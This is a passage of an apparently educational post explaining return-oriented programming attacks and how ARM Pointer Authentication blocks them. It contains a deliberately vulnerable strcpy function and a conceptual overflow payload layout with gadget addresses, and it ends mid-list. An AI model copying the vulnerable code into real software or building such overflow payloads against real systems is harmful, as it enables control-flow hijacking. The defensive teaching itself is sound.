<p>Memory corruption vulnerabilities are the foundational enablers of ROP attacks. Common vulnerabilities like buffer overflows, use-after-free bugs, or heap corruption allow attackers to manipulate the program’s memory, specifically the stack or heap, to set up ROP chains.</p>

<p>For example, in a stack-based buffer overflow, the attacker writes beyond the buffer’s boundary and overwrites the return address of a function. By replacing this return address with the address of a gadget, the attacker can redirect control flow to that gadget. Subsequent gadgets are then executed in sequence, as each <code class="language-plaintext highlighter-rouge">RET</code> instruction directs execution to the next address on the manipulated stack.</p>

<p>Consider the following simple vulnerable C code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">vulnerable_function</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
    <span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span> <span class="c1">// No bounds checking!</span>
<span class="p">}</span>
</code></pre></div></div>

<p>An attacker exploiting this vulnerability can provide input that overwrites the <code class="language-plaintext highlighter-rouge">buffer</code> and the return address on the stack. Instead of returning to the normal execution flow, the program will execute a ROP chain, starting with a gadget like <code class="language-plaintext highlighter-rouge">POP RDI; RET</code>. The attacker can then supply the address of <code class="language-plaintext highlighter-rouge">/bin/sh</code> to the <code class="language-plaintext highlighter-rouge">RDI</code> register, followed by gadgets to call <code class="language-plaintext highlighter-rouge">system()</code>.</p>

<p>Memory corruption is essential to ROP because it enables the attacker to gain control over the execution flow. Without the ability to overwrite return addresses or function pointers, ROP chains cannot be executed. This dependency also makes defenses like stack canaries or shadow stacks relevant, as they attempt to detect or prevent unauthorized changes to the stack.</p>

<h2 id="how-it-works-">How it works ?</h2>
<p>Unlike traditional exploits that inject malicious code, ROP uses snippets of legitimate instructions already present in the program’s memory or linked libraries. This makes ROP effective at bypassing defenses like Data Execution Prevention (DEP), which prevents execution from writable memory regions. Below, we dive into the details of how ROP works with technical explanations, memory examples, and lifecycle.</p>

<p>Let’s take the following program as an example, The program starts executing, and user input is passed to a vulnerable function. If the input size exceeds the allocated buffer’s limit (<code class="language-plaintext highlighter-rouge">buffer[64]</code>), it causes a <strong>buffer overflow</strong>, enabling the attacker to overwrite the stack.</p>

<ul>
  <li>Stack Layout Before Overflow:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+---------------------+
| Local variables     | (e.g., buffer[64])
+---------------------+
| Saved EBP           | (Base pointer)
+---------------------+
| Return Address      | (Points to code after vulnerable_function)
+---------------------+
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="stage-1-overwriting-the-return-address">Stage 1: Overwriting the Return Address</h3>

<p>The attacker’s crafted input overwrites the return address on the stack. This input includes:</p>
<ol>
  <li><strong>Padding</strong> to fill the buffer (64 bytes).</li>
  <li><strong>Overwritten EBP</strong> (optional).</li>
  <li><strong>Address of the first gadget</strong>, such as <code class="language-plaintext highlighter-rouge">POP RDI; POP RSI; RET</code>.</li>
</ol>

<p>So, The input would be as the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'A' * 64 + 'B' * 8 + Address of Gadget + Arguments for target_function
</code></pre></div></div>

<p>After passing the input, The stack would be as the following:</p>

<ul>
  <li>Stack Layout After Overflow:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+
| Padding ('A' * 64)       |
+--------------------------+
| Overwritten EBP ('B' * 8)|
+--------------------------+
| Gadget Address (0x400123)| --&gt; POP RDI; POP RSI; RET
+--------------------------+
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="stage-2-executing-the-first-gadget">Stage 2: Executing the First Gadget</h3>

<p><img src="https://github.com/user-attachments/assets/943fe131-594d-4e52-93d2-4628f1eb7823" alt="image" /></p>

<p>The processor reaches the overwritten return address and executes the first <code class="language-plaintext highlighter-rouge">ROP</code> gadget. The gadget (<code class="language-plaintext highlighter-rouge">POP RDI; POP RSI; RET</code>) pops two values from the stack into the <code class="language-plaintext highlighter-rouge">RDI</code> and <code class="language-plaintext highlighter-rouge">RSI</code> registers, setting up the arguments for the target function. Which making the Stack Layout as the following:</p>

<ul>
  <li>Stack Layout After Gadget Execution:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+
| Argument 1 (5)           | --&gt; RDI
+--------------------------+
| Argument 2 (10)          | --&gt; RSI
+--------------------------+
| target_function Address  | --&gt; 0x400456
+--------------------------+
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="stage-3-redirecting-to-the-target-function">Stage 3: Redirecting to the Target Function</h3>

<p>The next address on the stack directs the program to execute the <code class="language-plaintext highlighter-rouge">target_function</code> with the attacker-controlled arguments. The function performs its operation (<code class="language-plaintext highlighter-rouge">a + b</code>) and returns the result.</p>

<ol>
  <li>The <code class="language-plaintext highlighter-rouge">RET</code> instruction redirects control flow to <code class="language-plaintext highlighter-rouge">target_function</code>.</li>
  <li>The arguments (<code class="language-plaintext highlighter-rouge">5</code> and <code class="language-plaintext highlighter-rouge">10</code>) are passed to <code class="language-plaintext highlighter-rouge">target_function</code> via the <code class="language-plaintext highlighter-rouge">RDI</code> and <code class="language-plaintext highlighter-rouge">RSI</code> registers.</li>
  <li><code class="language-plaintext highlighter-rouge">target_function(5, 10)</code> calculates <code class="language-plaintext highlighter-rouge">5 + 10</code> and returns <code class="language-plaintext highlighter-rouge">15</code>.</li>
</ol>

<p>After the ROP chain, the stack would look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+
| Padding ('A' * 64)       |
+--------------------------+
| Overwritten EBP ('B' * 8)|
+--------------------------+
| Gadget Address (0x400123)| --&gt; POP RDI; POP RSI; RET
+--------------------------+
| Argument 1 (5)           | --&gt; RDI
+--------------------------+
| Argument 2 (10)          | --&gt; RSI
+--------------------------+
| target_function Address  | --&gt; 0x400456
+--------------------------+
</code></pre></div></div>

<h1 id="pointers-and-their-role-in-exploitation">Pointers and Their Role in Exploitation</h1>

<p>Pointers are variables that store the memory address of another variable. Instead of holding a direct value, pointers reference a specific location in memory, enabling programs to directly access or modify the data stored there. In low-level programming languages like C and C++, pointers are critical for efficient memory management, dynamic allocation, and implementing advanced data structures like linked lists, trees, and graphs. However, their direct interaction with memory also makes them prone to misuse and exploitation.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">x</span> <span class="o">=</span> <span class="mi">42</span><span class="p">;</span>      <span class="c1">// Variable x holds the value 42</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">x</span><span class="p">;</span>   <span class="c1">// Pointer ptr stores the address of x</span>
</code></pre></div></div>

<ul>
  <li><code class="language-plaintext highlighter-rouge">x</code> stores the value <code class="language-plaintext highlighter-rouge">42</code>.</li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">ptr</code> stores the memory address of <code class="language-plaintext highlighter-rouge">x</code>. Dereferencing <code class="language-plaintext highlighter-rouge">ptr</code> using <code class="language-plaintext highlighter-rouge">*ptr</code> gives access to the value stored at the address, allowing <code class="language-plaintext highlighter-rouge">42</code> to be read or modified.</p>
  </li>
  <li>Memory Layout
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Memory Address   Value       Description
0x7ffeec38       42          x's value
0x7ffeec34       0x7ffeec38  ptr points to x's address
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="how-do-pointers-work"><strong>How Do Pointers Work?</strong></h3>

<p>Pointers interact with memory directly, enabling operations like accessing data, modifying values, and navigating memory regions. They are a critical component in managing program execution flow and dynamic memory allocation.</p>

<ol>
  <li><strong>Memory Address Representation</strong>:
    <ul>
      <li>A pointer stores the numeric address of a variable in memory. In a 64-bit architecture, pointers typically occupy 8 bytes, allowing them to address large memory spaces.</li>
    </ul>
  </li>
  <li><strong>Dereferencing</strong>:
    <ul>
      <li>Dereferencing a pointer retrieves the value stored at the memory location it references. For example:
        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">x</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="n">ptr</span><span class="p">);</span>  <span class="c1">// Outputs the value of x (42)</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Pointer Arithmetic</strong>:
    <ul>
      <li>Pointers can perform arithmetic operations to navigate memory. For instance, in an array:
        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">arr</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">10</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">30</span><span class="p">};</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">arr</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="n">ptr</span> <span class="o">+</span> <span class="mi">1</span><span class="p">));</span>  <span class="c1">// Outputs 20</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li><strong>Function Pointers</strong>:
    <ul>
      <li>Pointers can store the address of functions, allowing dynamic invocation:
        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">func_ptr</span><span class="p">)(</span><span class="kt">int</span><span class="p">)</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">some_function</span><span class="p">;</span>
<span class="n">func_ptr</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>  <span class="c1">// Calls some_function with argument 5</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
</ol>

<h2 id="relation-between-pointers-and-rop"><strong>Relation Between Pointers and ROP</strong></h2>

<p>Pointers play a foundational role in Return-Oriented Programming (ROP) by controlling memory access and program execution flow. In ROP, attackers manipulate pointers such as return addresses or function pointers to hijack control flow and execute malicious payloads.</p>

<p>Control flow in programs relies on pointers, especially return address pointers stored on the stack during function calls. These pointers determine the program’s next execution location after a function returns.</p>

<ul>
  <li><strong>Example</strong>:
    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">func</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Hello, World!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">func</span><span class="p">();</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>    </div>
  </li>
</ul>

<p><strong>Normal Control Flow</strong>:</p>
<ol>
  <li>Before <code class="language-plaintext highlighter-rouge">func()</code> executes, the return address (RA) is pushed onto the stack.</li>
  <li>After <code class="language-plaintext highlighter-rouge">func()</code> completes, the CPU retrieves the RA pointer from the stack and resumes execution in <code class="language-plaintext highlighter-rouge">main()</code>.</li>
</ol>

<h5 id="memory-drawing-return-address-in-normal-execution"><strong>Memory Drawing: Return Address in Normal Execution</strong></h5>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Stack (Before func() returns)
+--------------------------+
| Return Address (0x400456)| --&gt; Points to code in main()
+--------------------------+
</code></pre></div></div>

<p>In a ROP attack, this return address pointer is overwritten to redirect execution to a ROP gadget. As ROP exploits use “gadgets”—small sequences of instructions ending in <code class="language-plaintext highlighter-rouge">RET</code>. Each gadget’s address is stored as a pointer in the attack payload. The CPU reads these pointers during execution to chain together gadgets and execute the attacker’s payload.</p>

<h1 id="pointer-authentication-pac">Pointer Authentication (PAC)</h1>

<p>Pointer Authentication (PAC) is a security mechanism introduced in the ARMv8.3-A architecture to strengthen memory safety by embedding cryptographic signatures—called <strong>Pointer Authentication Codes (PACs)</strong>—into unused bits of pointers. The goal of PAC is to prevent memory corruption exploits such as Return-Oriented Programming (ROP) and Jump-Oriented Programming (JOP), which attempt to hijack control flow by overwriting pointers like return addresses and function pointers.</p>

<p>PAC binds pointers to a specific execution context (such as the stack pointer) using a cryptographic signature generated from the pointer’s value, the context, and a secret key. Any modification to the pointer (even a single bit) results in an invalid PAC, causing the pointer authentication to fail and triggering a program exception.</p>

<h5 id="purpose-of-pac"><strong>Purpose of PAC</strong></h5>
<ul>
  <li><strong>Return Address Protection</strong>: Protects return addresses from being overwritten by attackers.</li>
  <li><strong>Function Pointer Integrity</strong>: Ensures that function pointers are not maliciously redirected.</li>
  <li><strong>Data Pointer Verification</strong>: Prevents unauthorized memory access by validating data pointers.</li>
</ul>

<h2 id="how-pac-works"><strong>How PAC Works</strong></h2>

<p>PAC works in three key stages:</p>
<ol>
  <li><strong>Embedding Cryptographic Signatures in Unused Pointer Bits</strong></li>
  <li><strong>Using PAC for Verification Before Dereferencing Pointers</strong></li>
  <li><strong>Stripping PAC for Raw Pointer Usage</strong></li>
</ol>

<h3 id="1-embedding-cryptographic-signatures-in-unused-pointer-bits"><strong>1. Embedding Cryptographic Signatures in Unused Pointer Bits</strong></h3>

<p>PAC embeds cryptographic signatures in unused high-order bits of the pointer without affecting its actual value.</p>

<p><img src="https://github.com/user-attachments/assets/1d0f6743-44aa-48d3-a28b-a1445715bddc" alt="image" /></p>

<h5 id="step-1-gathering-inputs-for-pac-generation"><strong>Step 1: Gathering Inputs for PAC Generation</strong></h5>

<p>To generate a PAC, the system gathers three essential inputs:</p>
<ol>
  <li><strong>Pointer Value</strong>: The raw memory address (e.g., <code class="language-plaintext highlighter-rouge">0x7ffeec38</code>).</li>
  <li><strong>Context</strong>: Additional information that contextualizes the pointer, such as the stack pointer (<code class="language-plaintext highlighter-rouge">sp</code>) or function arguments.</li>
  <li><strong>Secret Key</strong>: A per-process unique key stored in system registers (<code class="language-plaintext highlighter-rouge">APIAKey</code>, <code class="language-plaintext highlighter-rouge">APIBKey</code>, <code class="language-plaintext highlighter-rouge">APDAKey</code>, <code class="language-plaintext highlighter-rouge">APDBKey</code>, etc.).</li>
</ol>

<p>The combination of these inputs ensures that the PAC is unique for each pointer and context.</p>

<h5 id="step-2-cryptographic-signing-with-qarma"><strong>Step 2: Cryptographic Signing with QARMA</strong></h5>

<p>The <strong>QARMA cryptographic algorithm</strong> processes the inputs to generate a PAC. QARMA is a lightweight block cipher designed for efficiency and high security. The algorithm takes the following steps:</p>
<ul>
  <li><strong>Rounds of Transformation</strong>: QARMA performs multiple rounds of transformations on the input data, mixing the key, context, and pointer value.</li>
  <li><strong>Tweakable Cipher</strong>: QARMA uses a “tweak” (context) to modify the encryption process, ensuring unique PACs for different contexts.</li>
</ul>

<h5 id="step-3-embedding-the-pac-into-the-pointer"><strong>Step 3: Embedding the PAC into the Pointer</strong></h5>

<p>The PAC is embedded into the unused high-order bits of the pointer. On ARM64 systems with a 48-bit virtual address space, the top 16 bits of the pointer can be used for PAC storage:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+----------------+
| Pointer Value (48 bits)  | PAC (16 bits)  |
+--------------------------+----------------+
</code></pre></div></div>

<h5 id="example"><strong>Example</strong>:</h5>
<ul>
  <li>Raw pointer: <code class="language-plaintext highlighter-rouge">0x7ffeec38</code></li>
  <li>Generated PAC: <code class="language-plaintext highlighter-rouge">0x1234</code></li>
  <li>Signed pointer: <code class="language-plaintext highlighter-rouge">0x12347ffeec38</code></li>
</ul>

<p>The signed pointer (<code class="language-plaintext highlighter-rouge">0x12347ffeec38</code>) looks like a normal memory address but contains an embedded authentication code in the high-order bits.</p>

<h3 id="2-using-pac-for-verification-before-dereferencing-pointers"><strong>2. Using PAC for Verification Before Dereferencing Pointers</strong></h3>

<p>PAC verification ensures that the pointer has not been modified before it is used. This prevents attackers from overwriting pointers with malicious values.
<img src="https://github.com/user-attachments/assets/7b7f4b2c-d7ce-42c8-bb79-22798a3ea71b" alt="image" /></p>

<h5 id="step-1-extracting-the-pac-and-pointer"><strong>Step 1: Extracting the PAC and Pointer</strong></h5>

<p>When the pointer is accessed, the system extracts the high-order bits (the PAC) and the lower bits (the pointer value) separately:</p>
<ul>
  <li><strong>Pointer Value</strong>: The base memory address (e.g., <code class="language-plaintext highlighter-rouge">0x7ffeec38</code>).</li>
  <li><strong>Embedded PAC</strong>: The authentication code (e.g., <code class="language-plaintext highlighter-rouge">0x1234</code>).</li>
</ul>

<h5 id="step-2-recomputing-the-pac"><strong>Step 2: Recomputing the PAC</strong></h5>

<p>The system uses the same inputs (pointer value, context, and secret key) to recompute the PAC using the <code class="language-plaintext highlighter-rouge">QARMA</code> algorithm. This step ensures that the verification process matches the original PAC generation.</p>

<h5 id="step-3-comparing-the-pacs"><strong>Step 3: Comparing the PACs</strong></h5>

<p>The recomputed PAC is compared to the embedded PAC:</p>
<ul>
  <li><strong>If the PACs match</strong>: The pointer is valid, and the program proceeds to dereference it.</li>
  <li><strong>If the PACs do not match</strong>: The program halts, triggering an exception to prevent further execution.</li>
</ul>

<h3 id="3-stripping-pac-for-pointer-arithmetic"><strong>3. Stripping PAC for Pointer Arithmetic</strong></h3>

<p>Certain operations, such as pointer arithmetic, require the raw pointer value. In such cases, the PAC must be stripped from the pointer without validation. This is done using the <code class="language-plaintext highlighter-rouge">XPACI</code> (eXecute PAC stripping) instruction.</p>

<h5 id="process"><strong>Process:</strong></h5>
<ol>
  <li>The CPU removes the PAC from the pointer’s high-order bits.</li>
  <li>The raw pointer value is used for calculations.</li>
  <li>The pointer may be re-signed after the calculation if it will be dereferenced.</li>
</ol>

<h5 id="example-1"><strong>Example:</strong></h5>
<ul>
  <li>Signed Pointer: <code class="language-plaintext highlighter-rouge">0x12347ffeec38</code></li>
  <li>After <code class="language-plaintext highlighter-rouge">XPACI</code>: <code class="language-plaintext highlighter-rouge">0x7ffeec38</code></li>
</ul>

<h2 id="pac-instructions-and-assembly">PAC Instructions and Assembly</h2>
<p>Pointer Authentication (PAC) uses specialized ARMv8.3-A assembly instructions to generate, verify, and manipulate pointer authentication codes. These instructions form the building blocks of PAC and are essential for securing instruction addresses, function pointers, and data pointers.</p>

<h3 id="1-pacia-pointer-authentication-code-for-instruction-address"><strong>1. <code class="language-plaintext highlighter-rouge">PACIA</code> (Pointer Authentication Code for Instruction Address)</strong></h3>

<p><code class="language-plaintext highlighter-rouge">PACIA</code> is used to sign an <strong>instruction pointer</strong> (e.g., a return address) with a <strong>Pointer Authentication Code (PAC)</strong>. The PAC is embedded into the unused high-order bits of the pointer, binding the pointer to a specific execution context. The instruction uses a secret key (<code class="language-plaintext highlighter-rouge">APIAKey</code>) stored in system registers and a context value (usually the stack pointer) to generate a unique PAC for each return address.</p>

<p><strong>Assembly Syntax</strong>:</p>
<pre><code class="language-assembly">PACIA xN, xM  // Sign the instruction pointer in xN using the context in xM
</code></pre>

<ul>
  <li><strong>Target register (<code class="language-plaintext highlighter-rouge">xN</code>)</strong>: Holds the pointer (e.g., <code class="language-plaintext highlighter-rouge">x30</code> for the link register).</li>
  <li><strong>Context register (<code class="language-plaintext highlighter-rouge">xM</code>)</strong>: Holds the context (e.g., <code class="language-plaintext highlighter-rouge">sp</code> for the stack pointer).</li>
</ul>

<p><strong>Example</strong>:</p>
<pre><code class="language-assembly">PACIA x30, sp  // Signs the return address (stored in x30) using the stack pointer (sp)
</code></pre>

<p>In this example, the return address is signed with a PAC before being saved to the stack. This ensures that the return address cannot be modified without invalidating the PAC. The PAC is generated based on:</p>
<ul>
  <li>The value of <code class="language-plaintext highlighter-rouge">x30</code> (the return address).</li>
  <li>The value of <code class="language-plaintext highlighter-rouge">sp</code> (the stack pointer).</li>
  <li>The <code class="language-plaintext highlighter-rouge">APIAKey</code> (a secret key stored in the CPU register).</li>
</ul>

<p>The signed return address now contains the PAC in its upper bits:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+----------------+
| Return Address (48 bits) | PAC (16 bits)  |
+--------------------------+----------------+
</code></pre></div></div>

<p>The attacker would need the exact key and context to generate a valid PAC, making it infeasible to forge or manipulate the signed pointer.</p>

<h3 id="2-autia-authenticate-instruction-address"><strong>2. <code class="language-plaintext highlighter-rouge">AUTIA</code> (Authenticate Instruction Address)</strong></h3>

<p><code class="language-plaintext highlighter-rouge">AUTIA</code> is used to verify a signed <strong>instruction pointer</strong>. It recomputes the PAC for the pointer using the same key and context and compares it with the embedded PAC. If the PACs match, the pointer is valid and restored to its original value. If they do not match, an exception is triggered, preventing the execution of malicious instructions.</p>

<p><strong>Assembly Syntax</strong>:</p>
<pre><code class="language-assembly">AUTIA xN, xM  // Authenticate the signed instruction pointer in xN using the context in xM
</code></pre>

<ul>
  <li><strong>Target register (<code class="language-plaintext highlighter-rouge">xN</code>)</strong>: Holds the signed pointer (e.g., <code class="language-plaintext highlighter-rouge">x30</code> for the link register).</li>
  <li><strong>Context register (<code class="language-plaintext highlighter-rouge">xM</code>)</strong>: Holds the context used during PAC generation (e.g., <code class="language-plaintext highlighter-rouge">sp</code>).</li>
</ul>

<p><strong>Example</strong>:</p>
<pre><code class="language-assembly">AUTIA x30, sp  // Verifies the PAC in the return address using the stack pointer
</code></pre>

<p>In this example:</p>
<ul>
  <li>The CPU recomputes the PAC for <code class="language-plaintext highlighter-rouge">x30</code> using the same key and context (<code class="language-plaintext highlighter-rouge">sp</code>).</li>
  <li>If the computed PAC matches the embedded PAC, the original return address is restored.</li>
  <li>If there is any mismatch (indicating tampering), an <strong>exception</strong> is raised, halting program execution.</li>
</ul>

<h3 id="3-xpaci-strip-pac-for-instruction-address"><strong>3. <code class="language-plaintext highlighter-rouge">XPACI</code> (Strip PAC for Instruction Address)</strong></h3>

<p><code class="language-plaintext highlighter-rouge">XPACI</code> is used to <strong>remove the PAC</strong> from a signed <strong>instruction pointer</strong> without verification. This is necessary when the raw address value is needed for operations such as pointer arithmetic.</p>

<p><strong>Assembly Syntax</strong>:</p>
<pre><code class="language-assembly">XPACI xN  // Strip the PAC from the instruction pointer in xN
</code></pre>

<ul>
  <li><strong>Target register (<code class="language-plaintext highlighter-rouge">xN</code>)</strong>: Holds the signed pointer (e.g., <code class="language-plaintext highlighter-rouge">x30</code>).</li>
</ul>

<p><strong>Example</strong>:</p>
<pre><code class="language-assembly">XPACI x30  // Removes the PAC from the return address in x30
</code></pre>

<p>In this example:</p>
<ul>
  <li>The upper 16 bits (containing the PAC) are cleared, leaving only the original 48-bit pointer value.</li>
  <li>This instruction is often used before performing arithmetic or storing the pointer in a structure that does not support PAC.</li>
</ul>

<h3 id="4-reta-return-with-authentication"><strong>4. <code class="language-plaintext highlighter-rouge">RETA</code> (Return with Authentication)</strong></h3>

<p><code class="language-plaintext highlighter-rouge">RETA</code> combines PAC verification and return in a single instruction. It verifies the signed <strong>return address</strong> (<code class="language-plaintext highlighter-rouge">x30</code>) and transfers control to the original caller if the verification succeeds.
<strong>Assembly Syntax</strong>:</p>
<pre><code class="language-assembly">RETA  // Authenticate and return to the caller
</code></pre>

<ul>
  <li><strong>Register (<code class="language-plaintext highlighter-rouge">x30</code>)</strong>: Holds the signed return address.</li>
</ul>

<p><strong>Example</strong>:</p>
<pre><code class="language-assembly">RETA  // Verifies the return address and returns to the caller
</code></pre>

<ul>
  <li>If the PAC verification fails, an exception is triggered, halting the program.</li>
  <li>If successful, control is returned to the original caller.</li>
</ul>

<h3 id="-end-to-end-pac-workflow">** End-to-End PAC Workflow**</h3>

<p>As example of how PAC is used to secure a function’s return address.</p>

<pre><code class="language-assembly">// Function prologue: Save signed return address to stack
PACIA x30, sp        // Sign the return address (x30) with the stack pointer (sp)
stp x29, x30, [sp]   // Save frame pointer (x29) and signed return address (x30) on the stack

// Function body
MOV x0, #10          // Example computation: Load value 10 into register x0
ADD x0, x0, #20      // Add 20 to x0 (result: 30)

// Function epilogue: Restore and verify return address
ldp x29, x30, [sp]   // Restore frame pointer (x29) and signed return address (x30)
AUTIA x30, sp        // Authenticate return address using the stack pointer
RET                  // Return to the caller if authentication succeeds
</code></pre>

<p><img src="https://github.com/user-attachments/assets/349d6f5f-a0fd-4768-b8c2-a3d8c30005da" alt="image" /></p>

<ol>
  <li><strong>Prologue: Signing the Return Address</strong>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">PACIA x30, sp</code>: Generates a PAC for the return address (<code class="language-plaintext highlighter-rouge">x30</code>) using the stack pointer (<code class="language-plaintext highlighter-rouge">sp</code>) as context. The PAC is embedded in the high-order bits of the return address.</li>
      <li><code class="language-plaintext highlighter-rouge">stp x29, x30, [sp]</code>: Saves the signed return address and the frame pointer (<code class="language-plaintext highlighter-rouge">x29</code>) to the stack.</li>
    </ul>
  </li>
  <li><strong>Function Body: Main Execution</strong>
    <ul>
      <li>The function performs computations as needed (e.g., loading and adding values).</li>
    </ul>
  </li>
  <li><strong>Epilogue: Verifying and Returning</strong>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">ldp x29, x30, [sp]</code>: Restores the frame pointer and signed return address.</li>
      <li><code class="language-plaintext highlighter-rouge">AUTIA x30, sp</code>: Verifies the PAC in the return address using the same context (<code class="language-plaintext highlighter-rouge">sp</code>). If the PAC is valid, the original address is restored; otherwise, an exception is raised.</li>
      <li><code class="language-plaintext highlighter-rouge">RET</code>: Transfers control back to the caller if verification succeeds.</li>
    </ul>
  </li>
</ol>

<h3 id="stack-protection-with-pac"><strong>Stack Protection with PAC</strong></h3>

<p>In real-world systems, PAC is commonly used to protect the <strong>return address</strong> on the stack to prevent control flow hijacking.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">vulnerable_function</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
    <span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span>  <span class="c1">// Vulnerable to buffer overflow</span>
<span class="p">}</span>
</code></pre></div></div>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">strcpy</code> function copies <code class="language-plaintext highlighter-rouge">input</code> into <code class="language-plaintext highlighter-rouge">buffer[]</code> without bounds checking.</li>
  <li>If <code class="language-plaintext highlighter-rouge">input</code> is longer than 64 bytes, it can overwrite the return address on the stack.</li>
  <li>An attacker can exploit this to redirect control flow to a malicious ROP chain.</li>
</ul>

<p>By enabling PAC, the return address is signed and verified:</p>
<pre><code class="language-assembly">PACIA x30, sp        // Sign the return address using the stack pointer
stp x29, x30, [sp]   // Save frame pointer and signed return address
ldp x29, x30, [sp]   // Restore frame pointer and signed return address
AUTIA x30, sp        // Authenticate the return address
RET                  // Return if PAC verification succeeds
</code></pre>

<ul>
  <li><strong>PACIA</strong> signs the return address.</li>
  <li><strong>AUTIA</strong> verifies the PAC before returning.</li>
  <li>If the PAC does not match, the program halts, preventing the attacker from redirecting control flow.</li>
</ul>

<h2 id="how-pac-prevents-rop">How PAC Prevents ROP</h2>

<p>Let’s walk through the stages where PAC secures a function’s return address:</p>

<h4 id="1-signing-the-return-address"><strong>1. Signing the Return Address</strong></h4>

<p>During the <strong>function prologue</strong>, the return address stored in the <strong>link register (<code class="language-plaintext highlighter-rouge">x30</code>)</strong> is signed with a PAC before being saved to the stack.</p>

<p><strong>Assembly Example:</strong></p>
<pre><code class="language-assembly">PACIA x30, sp        // Sign the return address (x30) using the stack pointer (sp) as context
stp x29, x30, [sp]   // Save frame pointer (x29) and signed return address (x30) to the stack
</code></pre>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">PACIA</code> (Pointer Authentication Code for Instruction Address)</strong>: Generates a PAC for the return address using:
    <ul>
      <li><strong>Return address (<code class="language-plaintext highlighter-rouge">x30</code>)</strong>: The actual instruction address where the function should return.</li>
      <li><strong>Context (<code class="language-plaintext highlighter-rouge">sp</code>)</strong>: The stack pointer, making the PAC context-specific.</li>
      <li><strong>Key (<code class="language-plaintext highlighter-rouge">APIAKey</code>)</strong>: A secret key stored in the CPU register.</li>
    </ul>
  </li>
</ul>

<p>The signed return address is then stored on the stack.</p>

<p><strong>Memory Layout:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+
| Signed Return Address    | --&gt; Contains the original address and PAC
+--------------------------+
| Frame Pointer            |
+--------------------------+
</code></pre></div></div>

<h4 id="2-verifying-the-return-address"><strong>2. Verifying the Return Address</strong></h4>

<p>During the <strong>function epilogue</strong>, the return address is restored from the stack and authenticated before the function returns.</p>

<pre><code class="language-assembly">ldp x29, x30, [sp]   // Restore frame pointer (x29) and signed return address (x30)
AUTIA x30, sp        // Authenticate the return address using the stack pointer
RET                  // Return to the caller if PAC verification succeeds
</code></pre>

<p><strong><code class="language-plaintext highlighter-rouge">AUTIA</code> (Authenticate Instruction Address)</strong>: Verifies the PAC embedded in the return address.</p>
<ul>
  <li>Recomputes the PAC using the same inputs (return address, stack pointer, and key).</li>
  <li>Compares the recomputed PAC with the embedded PAC.</li>
  <li>If they match, the return address is valid, and the program continues execution.</li>
